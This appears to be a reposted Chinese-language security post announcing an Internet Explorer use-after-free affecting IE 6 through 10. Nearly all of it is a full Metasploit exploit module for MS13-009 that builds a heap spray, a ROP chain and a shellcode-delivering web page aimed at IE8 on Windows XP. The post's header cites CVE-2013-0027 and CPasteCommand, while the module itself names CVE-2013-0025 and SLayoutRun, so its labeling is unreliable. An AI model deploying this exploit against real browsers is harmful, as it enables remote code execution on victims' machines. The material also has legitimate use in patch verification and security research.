高危漏洞CVE-2013-0027 EXP 影響IE所有版本
Microsoft Internet Explorer處理CPasteComma存在一個釋放后使用錯誤,允許構(gòu)建惡意WEB頁,誘使用戶解析,可以應(yīng)用程序上下文執(zhí)行任意代碼。CVE編號CVE-2013-0027,影響版本如下:
Microsoft Internet Explorer 10
Microsoft Internet Explorer 9
Microsoft Internet Explorer 8
Microsoft Internet Explorer 7
Microsoft Internet Explorer 6
在Metasploit已經(jīng)發(fā)布相應(yīng)的利用腳本,如下:
- ##
 - # This file is part of the Metasploit Framework and may be subject to
 - # redistribution and commercial restrictions. Please see the Metasploit
 - # Framework web site for more information on licensing and terms of use.
 - # http://metasploit.com/framework/
 - ##
 - require 'msf/core'
 - class Metasploit3 < Msf::Exploit::Remote
 - Rank = NormalRanking
 - include Msf::Exploit::Remote::HttpServer::HTML
 - include Msf::Exploit::RopDb
 - def initialize(info={})
 - super(update_info(info,
 - 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
 - 'Description' => %q{
 - This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
 - where a CParaElement node is released but a reference is still kept
 - in CDoc. This memory is reused when a CDoc relayout is performed.
 - },
 - 'License' => MSF_LICENSE,
 - 'Author' =>
 - [
 - 'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
 - ],
 - 'References' =>
 - [
 - [ 'CVE', '2013-0025' ],
 - [ 'MSB', 'MS13-009' ],
 - [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
 - ],
 - 'Payload' =>
 - {
 - 'BadChars' => "\x00",
 - 'Space' => 920,
 - 'DisableNops' => true,
 - 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
 - },
 - 'DefaultOptions' =>
 - {
 - 'InitialAutoRunScript' => 'migrate -f'
 - },
 - 'Platform' => 'win',
 - 'Targets' =>
 - [
 - [ 'Automatic', {} ],
 - [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
 - ],
 - 'Privileged' => false,
 - 'DisclosureDate' => "Feb 13 2013",
 - 'DefaultTarget' => 0))
 - register_options(
 - [
 - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
 - ], self.class)
 - end
 - def get_target(agent)
 - #If the user is already specified by the user, we'll just use that
 - return target if target.name != 'Automatic'
 - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
 - ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 - ie_name = "IE #{ie}"
 - case nt
 - when '5.1'
 - os_name = 'Windows XP SP3'
 - end
 - targets.each do |t|
 - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
 - print_status("Target selected as: #{t.name}")
 - return t
 - end
 - end
 - return nil
 - end
 - def heap_spray(my_target, p)
 - js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
 - js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
 - js = %Q|
 - var heap_obj = new heapLib.ie(0x20000);
 - var code = unescape("#{js_code}");
 - var nops = unescape("#{js_nops}");
 - while (nops.length < 0x80000) nops += nops;
 - var offset = nops.substring(0, #{my_target['Offset']});
 - var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
 - while (shellcode.length < 0x40000) shellcode += shellcode;
 - var block = shellcode.substring(0, (0x80000-6)/2);
 - heap_obj.gc();
 - for (var i=1; i < 0x300; i++) {
 - heap_obj.alloc(block);
 - }
 - var overflow = nops.substring(0, 10);
 - |
 - js = heaplib(js, {:noobfu => true})
 - if datastore['OBFUSCATE']
 - js = ::Rex::Exploitation::JSObfu.new(js)
 - js.obfuscate
 - end
 - return js
 - end
 - def get_payload(t, cli)
 - code = payload.encoded
 - # No rop. Just return the payload.
 - return code if t['Rop'].nil?
 - # ROP chain generated by mona.py - See corelan.be
 - case t['Rop']
 - when :msvcrt
 - print_status("Using msvcrt ROP")
 - rop_nops = [0x77c39f92].pack("V") * 11 # RETN
 - rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
 - rop_payload << rop_nops
 - rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
 - rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
 - rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
 - rop_payload << [0x77c39f92].pack("V") # RETN
 - rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
 - rop_payload << code
 - end
 - return rop_payload
 - end
 - def get_exploit(my_target, cli)
 - p = get_payload(my_target, cli)
 - js = heap_spray(my_target, p)
 - html = %Q|
 - <!doctype html>
 - <html>
 - <head>
 - <script>
 - #{js}
 - </script>
 - <script>
 - var data;
 - var objArray = new Array(1150);
 - setTimeout(function(){
 - document.body.style.whiteSpace = "pre-line";
 - CollectGarbage();
 - for (var i=0;i<1150;i++){
 - objArray[i] = document.createElement('div');
 - objArray[i].className = data += unescape("%u0c0c%u0c0c");
 - }
 - setTimeout(function(){document.body.innerHTML = "boo"}, 100)
 - }, 100)
 - </script>
 - </head>
 - <body>
 - <p> </p>
 - </body>
 - </html>
 - |
 - return html
 - end
 - def on_request_uri(cli, request)
 - agent = request.headers['User-Agent']
 - uri = request.uri
 - print_status("Requesting: #{uri}")
 - my_target = get_target(agent)
 - # Avoid the attack if no suitable target found
 - if my_target.nil?
 - print_error("Browser not supported, sending 404: #{agent}")
 - send_not_found(cli)
 - return
 - end
 - html = get_exploit(my_target, cli)
 - html = html.gsub(/^\t\t/, '')
 - print_status "Sending HTML..."
 - send_response(cli, html, {'Content-Type'=>'text/html'})
 - end
 - end
 
微軟安全補丁:https://technet.microsoft.com/en-us/security/bulletin/ms13-009















 
 
 












 
 
 
 